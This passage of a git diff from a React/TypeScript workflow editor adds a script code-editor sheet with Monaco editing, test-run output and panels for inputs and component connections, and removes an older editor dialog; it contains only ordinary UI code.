+                                                onClick={handleRunClick}
+                                                size="icon"
+                                                variant="ghost"
+                                            />
+                                        </span>
+                                    </TooltipTrigger>
+
+                                    <TooltipContent>Run the current workflow</TooltipContent>
+                                </Tooltip>
+                            )}
+
+                            {scriptIsRunning && (
+                                <Button
+                                    icon={<SquareIcon />}
+                                    onClick={() => {
+                                        // TODO
+                                    }}
+                                    size="icon"
+                                    variant="destructive"
+                                />
+                            )}
+
+                            <CopilotButton parameters={{language}} source={Source.CODE_EDITOR} />
+
+                            <SheetCloseButton />
+                        </div>
+                    </SheetHeader>
+
+                    <div className="flex h-full">
+                        <ResizablePanelGroup className="flex-1" direction="vertical">
+                            <ResizablePanel defaultSize={75}>
+                                <Suspense fallback={<MonacoEditorLoader />}>
+                                    <MonacoEditor
+                                        className="size-full"
+                                        defaultLanguage={language}
+                                        onChange={(value) => {
+                                            setNewValue(value);
+                                        }}
+                                        onMount={(editor) => {
+                                            editor.focus();
+                                        }}
+                                        value={newValue}
+                                    />
+                                </Suspense>
+                            </ResizablePanel>
+
+                            <ResizableHandle className="bg-muted" />
+
+                            <ResizablePanel defaultSize={25}>
+                                <div className="relative size-full overflow-y-auto p-4 text-sm">
+                                    {!scriptIsRunning ? (
+                                        scriptTestExecution ? (
+                                            scriptTestExecution.output ? (
+                                                typeof scriptTestExecution.output === 'object' ? (
+                                                    <Suspense fallback={<LoadingDots />}>
+                                                        <ReactJson
+                                                            enableClipboard={false}
+                                                            sortKeys={true}
+                                                            src={scriptTestExecution.output as object}
+                                                        />
+                                                    </Suspense>
+                                                ) : (
+                                                    <pre className="mt-2 text-xs">{scriptTestExecution.output}</pre>
+                                                )
+                                            ) : scriptTestExecution.error ? (
+                                                <div className="space-y-4">
+                                                    <div className="space-y-2">
+                                                        <div className="font-semibold text-destructive">Error</div>
+
+                                                        <div>{scriptTestExecution.error.message}</div>
+                                                    </div>
+                                                </div>
+                                            ) : (
+                                                <span className="text-muted-foreground">No defined output.</span>
+                                            )
+                                        ) : (
+                                            <div className="flex items-center gap-x-1 text-muted-foreground">
+                                                <span>The script has not yet been executed.</span>
+                                            </div>
+                                        )
+                                    ) : (
+                                        <div className="flex items-center gap-x-1">
+                                            <span className="flex animate-spin text-gray-400">
+                                                <RefreshCwIcon className="size-4" />
+                                            </span>
+
+                                            <span className="text-muted-foreground">Script is running...</span>
+                                        </div>
+                                    )}
+                                </div>
+                            </ResizablePanel>
+                        </ResizablePanelGroup>
+
+                        <div className="flex border-l border-l-border/50">
+                            <PropertyCodeEditorSheetRightPanel
+                                componentConnections={currentWorkflowTask?.connections || []}
+                                workflow={workflow}
+                                workflowNodeName={workflowNodeName}
+                            />
+                        </div>
+                    </div>
+                </SheetContent>
+            </Sheet>
+
+            <AlertDialog open={showCloseAlertDialog}>
+                <AlertDialogContent>
+                    <AlertDialogHeader>
+                        <AlertDialogTitle>Are you absolutely sure?</AlertDialogTitle>
+
+                        <AlertDialogDescription>
+                            There are unsaved changes. This action cannot be undone.
+                        </AlertDialogDescription>
+                    </AlertDialogHeader>
+
+                    <AlertDialogFooter>
+                        <AlertDialogCancel
+                            className="shadow-none"
+                            onClick={() => {
+                                setShowCloseAlertDialog(false);
+                            }}
+                        >
+                            Cancel
+                        </AlertDialogCancel>
+
+                        <AlertDialogAction
+                            onClick={() => {
+                                setShowCloseAlertDialog(false);
+
+                                if (onClose) {
+                                    onClose();
+                                }
+                            }}
+                        >
+                            Close
+                        </AlertDialogAction>
+                    </AlertDialogFooter>
+                </AlertDialogContent>
+            </AlertDialog>
+        </>
+    );
+};
+
+export default PropertyCodeEditorSheet;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanel.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanel.tsx
new file mode 100644
index 00000000000..fb7cc4aad6f
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanel.tsx
@@ -0,0 +1,39 @@
+import PropertyCodeEditorSheetRightPanelConnections from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnections';
+import PropertyCodeEditorSheetRightPanelInputs from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelInputs';
+import {getTask} from '@/pages/platform/workflow-editor/utils/getTask';
+import {ComponentConnection, Workflow} from '@/shared/middleware/platform/configuration';
+
+interface PropertyCodeEditorSheetConnectionsSheetRightPanelProps {
+    componentConnections: ComponentConnection[];
+    workflow: Workflow;
+    workflowNodeName: string;
+}
+
+const PropertyCodeEditorSheetRightPanel = ({
+    componentConnections,
+    workflow,
+    workflowNodeName,
+}: PropertyCodeEditorSheetConnectionsSheetRightPanelProps) => {
+    const currentTask = getTask({
+        tasks: workflow.tasks || [],
+        workflowNodeName,
+    });
+
+    return (
+        <div className="flex w-96 flex-col divide-y divide-solid divide-muted">
+            <div className="flex-1">
+                <PropertyCodeEditorSheetRightPanelInputs input={currentTask?.parameters?.input ?? {}} />
+            </div>
+
+            <div className="flex-1">
+                <PropertyCodeEditorSheetRightPanelConnections
+                    componentConnections={componentConnections}
+                    workflow={workflow}
+                    workflowNodeName={workflowNodeName}
+                />
+            </div>
+        </div>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanel;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnections.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnections.tsx
new file mode 100644
index 00000000000..e0de91e943e
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnections.tsx
@@ -0,0 +1,246 @@
+import Button from '@/components/Button/Button';
+import {Card, CardContent, CardHeader, CardTitle} from '@/components/ui/card';
+import PropertyCodeEditorSheetRightPanelConnectionsLabel from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsLabel';
+import PropertyCodeEditorSheetRightPanelConnectionsPopover, {
+    connectionFormSchema,
+} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsPopover';
+import PropertyCodeEditorSheetRightPanelConnectionsSelect from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsSelect';
+import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
+import {useConnectionNoteStore} from '@/pages/platform/workflow-editor/stores/useConnectionNoteStore';
+import ConnectionDialog from '@/shared/components/connection/ConnectionDialog';
+import {ComponentConnection, Workflow} from '@/shared/middleware/platform/configuration';
+import {useGetWorkflowTestConfigurationConnectionsQuery} from '@/shared/queries/platform/workflowTestConfigurations.queries';
+import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
+import {WorkflowDefinitionType, WorkflowTaskType} from '@/shared/types';
+import {LinkIcon, XIcon} from 'lucide-react';
+import {useState} from 'react';
+import {z} from 'zod';
+import {useShallow} from 'zustand/react/shallow';
+
+const SPACE = 4;
+
+const PropertyCodeEditorSheetRightPanelConnections = ({
+    componentConnections,
+    workflow,
+    workflowNodeName,
+}: {
+    componentConnections: ComponentConnection[];
+    workflow: Workflow;
+    workflowNodeName: string;
+}) => {
+    const [showNewConnectionDialog, setShowNewConnectionDialog] = useState(false);
+
+    const {setShowConnectionNote, showConnectionNote} = useConnectionNoteStore(
+        useShallow((state) => ({
+            setShowConnectionNote: state.setShowConnectionNote,
+            showConnectionNote: state.showConnectionNote,
+        }))
+    );
+    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
+
+    const {
+        ConnectionKeys,
+        updateWorkflowMutation,
+        useCreateConnectionMutation,
+        useGetComponentDefinitionsQuery,
+        useGetConnectionTagsQuery,
+    } = useWorkflowEditor();
+
+    const {data: componentDefinitions} = useGetComponentDefinitionsQuery({});
+
+    const {data: workflowTestConfigurationConnections} = useGetWorkflowTestConfigurationConnectionsQuery({
+        environmentId: currentEnvironmentId,
+        workflowId: workflow.id!,
+        workflowNodeName,
+    });
+
+    const handleOnSubmit = (values: z.infer<typeof connectionFormSchema>) => {
+        if (!workflow?.definition) {
+            return;
+        }
+
+        let workflowDefinition: WorkflowDefinitionType = JSON.parse(workflow?.definition);
+
+        const scriptWorkflowTask = workflowDefinition.tasks?.filter((task) => task.name === workflowNodeName)[0];
+
+        if (!scriptWorkflowTask) {
+            return;
+        }
+
+        workflowDefinition = {
+            ...workflowDefinition,
+            tasks: [
+                ...workflowDefinition.tasks!.map((task) => {
+                    if (task.name === workflowNodeName) {
+                        return {
+                            ...scriptWorkflowTask,
+                            connections: {
+                                ...(scriptWorkflowTask.connections ?? {}),
+                                [values.name]: {
+                                    componentName: values.componentName,
+                                    componentVersion: values.componentVersion,
+                                },
+                            },
+                        } as WorkflowTaskType;
+                    } else {
+                        return task;
+                    }
+                }),
+            ],
+        };
+
+        updateWorkflowMutation!.mutate({
+            id: workflow.id!,
+            workflow: {
+                definition: JSON.stringify(workflowDefinition, null, SPACE),
+                version: workflow.version,
+            },
+        });
+    };
+
+    const handleOnRemoveClick = (workflowConnectionKey: string) => {
+        if (!workflow?.definition) {
+            return;
+        }
+
+        let workflowDefinition: WorkflowDefinitionType = JSON.parse(workflow?.definition);
+
+        const scriptWorkflowTask = workflowDefinition.tasks?.filter((task) => task.name === workflowNodeName)[0];
+
+        if (!scriptWorkflowTask) {
+            return;
+        }
+
+        delete scriptWorkflowTask.connections[workflowConnectionKey];
+
+        workflowDefinition = {
+            ...workflowDefinition,
+            tasks: [
+                ...workflowDefinition.tasks!.map((task) => {
+                    if (task.name === workflowNodeName) {
+                        return {
+                            ...scriptWorkflowTask,
+                            connections: {
+                                ...(scriptWorkflowTask.connections ?? {}),
+                            },
+                        };
+                    } else {
+                        return task;
+                    }
+                }),
+            ],
+        };
+
+        updateWorkflowMutation!.mutate({
+            id: workflow.id!,
+            workflow: {
+                definition: JSON.stringify(workflowDefinition, null, SPACE),
+                version: workflow.version,
+            },
+        });
+    };
+
+    return (
+        <Card className="border-none shadow-none">
+            <CardContent className="px-4">
+                <CardHeader className="px-0 py-4">
+                    <CardTitle>Connections</CardTitle>
+                </CardHeader>
+
+                {componentConnections?.length ? (
+                    <>
+                        {componentConnections.map((workflowConnection) => {
+                            const workflowTestConfigurationConnection =
+                                workflowTestConfigurationConnections &&
+                                workflowTestConfigurationConnections.length > 0 &&
+                                workflowTestConfigurationConnections
+                                    ? workflowTestConfigurationConnections.filter(
+                                          (workflowTestConfigurationConnection) =>
+                                              workflowTestConfigurationConnection.workflowConnectionKey ===
+                                              workflowConnection.key
+                                      )[0]
+                                    : undefined;
+
+                            return (
+                                <fieldset className="space-y-2" key={workflowConnection.key}>
+                                    <PropertyCodeEditorSheetRightPanelConnectionsLabel
+                                        componentConnection={workflowConnection}
+                                        onRemoveClick={() => handleOnRemoveClick(workflowConnection.key)}
+                                    />
+
+                                    <PropertyCodeEditorSheetRightPanelConnectionsSelect
+                                        componentConnection={workflowConnection}
+                                        workflowId={workflow.id!}
+                                        workflowNodeName={workflowNodeName}
+                                        workflowTestConfigurationConnection={workflowTestConfigurationConnection}
+                                    />
+                                </fieldset>
+                            );
+                        })}
+
+                        <div className="mt-3 flex justify-end">
+                            <PropertyCodeEditorSheetRightPanelConnectionsPopover onSubmit={handleOnSubmit} />
+                        </div>
+                    </>
+                ) : (
+                    <div className="flex flex-1 flex-col items-center">
+                        <div className="mt-16 w-full place-self-center px-2 3xl:mx-auto 3xl:w-4/5">
+                            <div className="text-center">
+                                <span className="mx-auto inline-block">
+                                    <LinkIcon className="size-6 text-gray-400" />
+                                </span>
+
+                                <h3 className="mt-2 text-sm font-semibold">No defined components</h3>
+
+                                <p className="mt-1 text-sm text-gray-500">
+                                    You have not defined any component and its connection to use inside this script yet.
+                                </p>
+
+                                <div className="mt-6">
+                                    <PropertyCodeEditorSheetRightPanelConnectionsPopover
+                                        onSubmit={handleOnSubmit}
+                                        triggerNode={<Button label="Add Component" />}
+                                    />
+                                </div>
+                            </div>
+                        </div>
+
+                        {showConnectionNote && (
+                            <div className="mt-4 flex flex-col rounded-md bg-amber-100 p-4 text-gray-800">
+                                <div className="flex items-center pb-2">
+                                    <span className="font-medium">Note</span>
+
+                                    <Button
+                                        className="ml-auto hover:bg-transparent active:bg-transparent active:text-content-neutral-primary"
+                                        icon={<XIcon aria-hidden="true" />}
+                                        onClick={() => setShowConnectionNote(false)}
+                                        size="iconXs"
+                                        title="Close the note"
+                                        variant="ghost"
+                                    />
+                                </div>
+
+                                <p className="text-sm text-gray-800">
+                                    The selected connections are used for testing purposes only.
+                                </p>
+                            </div>
+                        )}
+                    </div>
+                )}
+
+                {showNewConnectionDialog && componentDefinitions && (
+                    <ConnectionDialog
+                        componentDefinitions={componentDefinitions}
+                        connectionTagsQueryKey={ConnectionKeys!.connectionTags}
+                        connectionsQueryKey={ConnectionKeys!.connections}
+                        onClose={() => setShowNewConnectionDialog(false)}
+                        useCreateConnectionMutation={useCreateConnectionMutation}
+                        useGetConnectionTagsQuery={useGetConnectionTagsQuery!}
+                    />
+                )}
+            </CardContent>
+        </Card>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanelConnections;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsLabel.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsLabel.tsx
new file mode 100644
index 00000000000..51d29f83d2e
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsLabel.tsx
@@ -0,0 +1,52 @@
+import Button from '@/components/Button/Button';
+import RequiredMark from '@/components/RequiredMark';
+import {Label} from '@/components/ui/label';
+import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
+import {ComponentConnection} from '@/shared/middleware/platform/configuration';
+import {useGetComponentDefinitionQuery} from '@/shared/queries/platform/componentDefinitions.queries';
+
+export interface PropertyCodeEditorSheetRightPanelConnectionsLabelProps {
+    onRemoveClick: () => void;
+    componentConnection: ComponentConnection;
+}
+const PropertyCodeEditorSheetRightPanelConnectionsLabel = ({
+    componentConnection,
+    onRemoveClick,
+}: PropertyCodeEditorSheetRightPanelConnectionsLabelProps) => {
+    const {data: componentDefinition} = useGetComponentDefinitionQuery({
+        componentName: componentConnection.componentName,
+        componentVersion: componentConnection.componentVersion,
+    });
+
+    return (
+        <div className="flex items-center justify-between">
+            <div className="space-x-1">
+                {componentDefinition && (
+                    <Label>
+                        <span>{componentDefinition?.title}</span>
+
+                        {componentConnection.required && <RequiredMark />}
+                    </Label>
+                )}
+
+                <Tooltip>
+                    <TooltipTrigger>
+                        <Label className="text-sm text-muted-foreground">{componentConnection.key}</Label>
+                    </TooltipTrigger>
+
+                    <TooltipContent>Workflow Connection Key</TooltipContent>
+                </Tooltip>
+            </div>
+
+            <Button
+                className="px-0 text-content-destructive-primary hover:text-content-destructive-primary active:text-content-destructive-primary"
+                label="Remove"
+                onClick={onRemoveClick}
+                size="sm"
+                variant="link"
+            />
+        </div>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanelConnectionsLabel;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsPopover.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsPopover.tsx
new file mode 100644
index 00000000000..75775ca2286
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsPopover.tsx
@@ -0,0 +1,139 @@
+import Button from '@/components/Button/Button';
+import ComboBox from '@/components/ComboBox';
+import {Form, FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
+import {Input} from '@/components/ui/input';
+import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
+import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
+import {ComponentDefinitionBasic} from '@/shared/middleware/platform/configuration';
+import {zodResolver} from '@hookform/resolvers/zod';
+import {PopoverClose} from '@radix-ui/react-popover';
+import {XIcon} from 'lucide-react';
+import {ReactNode, useState} from 'react';
+import {useForm} from 'react-hook-form';
+import {z} from 'zod';
+
+export const connectionFormSchema = z.object({
+    componentName: z.string(),
+    componentVersion: z.number(),
+    name: z.string().min(2, {
+        message: 'Name must be at least 3 characters.',
+    }),
+});
+
+export interface PropertyCodeEditorSheetRightPanelConnectionsPopoverProps {
+    onSubmit: (values: z.infer<typeof connectionFormSchema>) => void;
+    triggerNode?: ReactNode;
+}
+
+const PropertyCodeEditorSheetRightPanelConnectionsPopover = ({
+    onSubmit,
+    triggerNode,
+}: PropertyCodeEditorSheetRightPanelConnectionsPopoverProps) => {
+    const [open, setOpen] = useState(false);
+
+    const form = useForm<z.infer<typeof connectionFormSchema>>({
+        defaultValues: {
+            componentName: '',
+            name: '',
+        },
+        resolver: zodResolver(connectionFormSchema),
+    });
+
+    const {useGetComponentDefinitionsQuery} = useWorkflowEditor();
+
+    const {data: componentDefinitions} = useGetComponentDefinitionsQuery!({connectionDefinitions: true});
+
+    return (
+        <Popover onOpenChange={setOpen} open={open}>
+            <PopoverTrigger asChild>
+                {triggerNode ? triggerNode : <Button label="Add Component" size="sm" variant="secondary" />}
+            </PopoverTrigger>
+
+            <PopoverContent align="end" className="min-w-property-code-editor-sheet-connections-sheet-width">
+                <header className="flex items-center justify-between">
+                    <span className="font-medium">Add Component</span>
+
+                    <PopoverClose asChild onClick={() => form.reset()}>
+                        <XIcon aria-hidden="true" className="size-4 cursor-pointer" />
+                    </PopoverClose>
+                </header>
+
+                <Form {...form}>
+                    <form
+                        onSubmit={form.handleSubmit((values) => {
+                            onSubmit(values);
+                            setOpen(false);
+                            form.reset();
+                        })}
+                    >
+                        <main className="my-2 space-y-4">
+                            <FormField
+                                control={form.control}
+                                name="name"
+                                render={({field}) => (
+                                    <FormItem>
+                                        <FormLabel>Name</FormLabel>
+
+                                        <FormControl>
+                                            <Input {...field} />
+                                        </FormControl>
+
+                                        <FormMessage />
+                                    </FormItem>
+                                )}
+                                rules={{required: true}}
+                            />
+
+                            <FormField
+                                control={form.control}
+                                name="componentName"
+                                render={({field}) => (
+                                    <FormItem>
+                                        <FormLabel>Component</FormLabel>
+
+                                        <FormControl>
+                                            {componentDefinitions && (
+                                                <ComboBox
+                                                    items={componentDefinitions.map((componentDefinition) => ({
+                                                        componentDefinition,
+                                                        icon: componentDefinition.icon,
+                                                        label: componentDefinition.title!,
+                                                        value: componentDefinition.name,
+                                                    }))}
+                                                    name="componentName"
+                                                    onBlur={field.onBlur}
+                                                    onChange={(item) => {
+                                                        const componentDefinition =
+                                                            item?.componentDefinition as ComponentDefinitionBasic;
+
+                                                        form.setValue('componentName', componentDefinition.name, {
+                                                            shouldDirty: true,
+                                                        });
+
+                                                        form.setValue('componentVersion', componentDefinition.version, {
+                                                            shouldDirty: true,
+                                                        });
+                                                    }}
+                                                    value={field.value}
+                                                />
+                                            )}
+                                        </FormControl>
+
+                                        <FormMessage />
+                                    </FormItem>
+                                )}
+                                rules={{required: true}}
+                            />
+                        </main>
+
+                        <footer className="flex items-center justify-end space-x-2">
+                            <Button label="Add" type="submit" />
+                        </footer>
+                    </form>
+                </Form>
+            </PopoverContent>
+        </Popover>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanelConnectionsPopover;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsSelect.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsSelect.tsx
new file mode 100644
index 00000000000..7dae8f2d439
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelConnectionsSelect.tsx
@@ -0,0 +1,140 @@
+import Button from '@/components/Button/Button';
+import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
+import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
+import EnvironmentBadge from '@/shared/components/EnvironmentBadge';
+import ConnectionDialog from '@/shared/components/connection/ConnectionDialog';
+import {ComponentConnection, WorkflowTestConfigurationConnection} from '@/shared/middleware/platform/configuration';
+import {useSaveWorkflowTestConfigurationConnectionMutation} from '@/shared/mutations/platform/workflowTestConfigurations.mutations';
+import {useGetComponentDefinitionQuery} from '@/shared/queries/platform/componentDefinitions.queries';
+import {WorkflowTestConfigurationKeys} from '@/shared/queries/platform/workflowTestConfigurations.queries';
+import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
+import {useQueryClient} from '@tanstack/react-query';
+import {PlusIcon} from 'lucide-react';
+import {useState} from 'react';
+
+export interface PropertyCodeEditorSheetRightPanelConnectionsSelectProps {
+    componentConnection: ComponentConnection;
+    workflowId: string;
+    workflowNodeName: string;
+    workflowTestConfigurationConnection?: WorkflowTestConfigurationConnection;
+}
+const PropertyCodeEditorSheetRightPanelConnectionsSelect = ({
+    componentConnection,
+    workflowId,
+    workflowNodeName,
+    workflowTestConfigurationConnection,
+}: PropertyCodeEditorSheetRightPanelConnectionsSelectProps) => {
+    const [showNewConnectionDialog, setShowNewConnectionDialog] = useState(false);
+
+    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
+
+    const {
+        ConnectionKeys,
+        useCreateConnectionMutation,
+        useGetComponentDefinitionsQuery,
+        useGetConnectionTagsQuery,
+        useGetConnectionsQuery,
+    } = useWorkflowEditor();
+
+    let connectionId: number | undefined;
+
+    if (workflowTestConfigurationConnection) {
+        connectionId = workflowTestConfigurationConnection.connectionId;
+    }
+
+    const {data: componentDefinition} = useGetComponentDefinitionQuery({
+        componentName: componentConnection.componentName,
+        componentVersion: componentConnection.componentVersion,
+    });
+
+    const {data: componentDefinitions} = useGetComponentDefinitionsQuery({
+        connectionDefinitions: true,
+    });
+
+    /* eslint-disable @typescript-eslint/no-non-null-asserted-optional-chain */
+    const {data: connections} = useGetConnectionsQuery!(
+        {
+            componentName: componentDefinition?.name!,
+            connectionVersion: componentDefinition?.connection?.version,
+        },
+        !!componentDefinition
+    );
+
+    const queryClient = useQueryClient();
+
+    const saveWorkflowTestConfigurationConnectionMutation = useSaveWorkflowTestConfigurationConnectionMutation({
+        onSuccess: () => {
+            queryClient.invalidateQueries({
+                queryKey: WorkflowTestConfigurationKeys.workflowTestConfigurations,
+            });
+        },
+    });
+
+    const handleValueChange = (connectionId: number, workflowConnectionKey: string) => {
+        saveWorkflowTestConfigurationConnectionMutation.mutate({
+            environmentId: currentEnvironmentId,
+            saveWorkflowTestConfigurationConnectionRequest: {
+                connectionId,
+            },
+            workflowConnectionKey,
+            workflowId,
+            workflowNodeName,
+        });
+    };
+
+    return (
+        <>
+            <Select
+                onValueChange={(value) => handleValueChange(+value, componentConnection.key)}
+                required={componentConnection.required}
+                value={connectionId ? connectionId.toString() : undefined}
+            >
+                <div className="flex space-x-2">
+                    <SelectTrigger>
+                        <SelectValue placeholder="Choose Connection..." />
+                    </SelectTrigger>
+
+                    <Button
+                        className="mt-auto"
+                        icon={<PlusIcon />}
+                        onClick={() => setShowNewConnectionDialog(true)}
+                        size="icon"
+                        title="Create a new connection"
+                        variant="outline"
+                    />
+                </div>
+
+                <SelectContent>
+                    {connections &&
+                        connections.map((connection) => (
+                            <SelectItem key={connection.id} value={connection.id!.toString()}>
+                                <div className="flex items-center">
+                                    <span className="mr-1">{connection.name}</span>
+
+                                    <span className="text-xs text-gray-500">
+                                        {connection?.tags?.map((tag) => tag.name).join(', ')}
+                                    </span>
+
+                                    <EnvironmentBadge environmentId={connection.environmentId!} />
+                                </div>
+                            </SelectItem>
+                        ))}
+                </SelectContent>
+            </Select>
+
+            {showNewConnectionDialog && componentDefinitions && (
+                <ConnectionDialog
+                    componentDefinition={componentDefinition}
+                    componentDefinitions={componentDefinitions}
+                    connectionTagsQueryKey={ConnectionKeys!.connectionTags}
+                    connectionsQueryKey={ConnectionKeys!.connections}
+                    onClose={() => setShowNewConnectionDialog(false)}
+                    useCreateConnectionMutation={useCreateConnectionMutation}
+                    useGetConnectionTagsQuery={useGetConnectionTagsQuery!}
+                />
+            )}
+        </>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanelConnectionsSelect;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelInputs.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelInputs.tsx
new file mode 100644
index 00000000000..429467d2cfd
--- /dev/null
+++ b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/PropertyCodeEditorSheetRightPanelInputs.tsx
@@ -0,0 +1,41 @@
+import {Card, CardContent, CardHeader, CardTitle} from '@/components/ui/card';
+
+const PropertyCodeEditorSheetRightPanelInputs = ({input}: {input: {[key: string]: object}}) => {
+    const entries = Object.entries(input);
+
+    return (
+        <Card className="border-none shadow-none">
+            <CardContent className="px-4">
+                <CardHeader className="px-0 py-4">
+                    <CardTitle>Inputs</CardTitle>
+                </CardHeader>
+
+                {entries.length > 0 ? (
+                    <div className="space-y-1 text-sm">
+                        {entries.map(([key, value]) => {
+                            let string = value.toString();
+
+                            if (string.length > 23) {
+                                string = string.slice(0, 23) + '...';
+                            }
+
+                            return (
+                                <div className="flex" key={key}>
+                                    <div className="w-1/2">{key}</div>
+
+                                    <div className="w-1/2 text-foreground/60">{string}</div>
+                                </div>
+                            );
+                        })}
+                    </div>
+                ) : (
+                    <div>
+                        <span className="text-sm text-muted-foreground">No defined entries</span>
+                    </div>
+                )}
+            </CardContent>
+        </Card>
+    );
+};
+
+export default PropertyCodeEditorSheetRightPanelInputs;
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialog.tsx b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialog.tsx
deleted file mode 100644
index 27d6945103e..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialog.tsx
+++ /dev/null
@@ -1,95 +0,0 @@
-import UnsavedChangesAlertDialog from '@/components/UnsavedChangesAlertDialog';
-import {Dialog, DialogContent, DialogDescription, DialogHeader, DialogTitle} from '@/components/ui/dialog';
-import {ResizableHandle, ResizablePanel, ResizablePanelGroup} from '@/components/ui/resizable';
-import PropertyCodeEditorDialogEditor from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogEditor';
-import PropertyCodeEditorDialogExecutionOutput from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogExecutionOutput';
-import PropertyCodeEditorDialogRightPanel from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanel';
-import PropertyCodeEditorDialogToolbar from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogToolbar';
-import {usePropertyCodeEditorDialog} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks';
-import CopilotPanel from '@/shared/components/copilot/CopilotPanel';
-import {Workflow} from '@/shared/middleware/platform/configuration';
-
-interface PropertyCodeEditorDialogProps {
-    language: string;
-    onChange: (value: string | undefined) => void;
-    onClose?: () => void;
-    value?: string;
-    workflow: Workflow;
-    workflowNodeName: string;
-}
-
-const PropertyCodeEditorDialog = ({
-    language,
-    onChange,
-    onClose,
-    value,
-    workflow,
-    workflowNodeName,
-}: PropertyCodeEditorDialogProps) => {
-    const {
-        copilotPanelOpen,
-        handleCopilotClose,
-        handleOpenChange,
-        handleUnsavedChangesAlertDialogCancel,
-        handleUnsavedChangesAlertDialogClose,
-        unsavedChangesAlertDialogOpen,
-    } = usePropertyCodeEditorDialog({onClose, value, workflow, workflowNodeName});
-
-    return (
-        <>
-            <Dialog onOpenChange={handleOpenChange} open={true}>
-                <DialogHeader>
-                    <DialogTitle>Edit Script</DialogTitle>
-
-                    <DialogDescription />
-                </DialogHeader>
-
-                <DialogContent className="absolute bottom-4 left-16 top-12 flex h-[calc(100vh-64px)] w-[calc(100vw-80px)] max-w-none translate-x-0 translate-y-0 flex-row gap-0 overflow-hidden p-0">
-                    <div className="flex min-w-0 flex-1 flex-col gap-2">
-                        <PropertyCodeEditorDialogToolbar
-                            language={language}
-                            onChange={onChange}
-                            workflowId={workflow.id!}
-                            workflowNodeName={workflowNodeName}
-                        />
-
-                        <div className="flex min-w-0 flex-1">
-                            <ResizablePanelGroup className="flex-1" direction="vertical">
-                                <ResizablePanel defaultSize={75}>
-                                    <PropertyCodeEditorDialogEditor language={language} />
-                                </ResizablePanel>
-
-                                <ResizableHandle className="bg-muted" />
-
-                                <ResizablePanel defaultSize={25}>
-                                    <PropertyCodeEditorDialogExecutionOutput />
-                                </ResizablePanel>
-                            </ResizablePanelGroup>
-
-                            <PropertyCodeEditorDialogRightPanel
-                                workflow={workflow}
-                                workflowNodeName={workflowNodeName}
-                            />
-                        </div>
-                    </div>
-
-                    {copilotPanelOpen && (
-                        <CopilotPanel
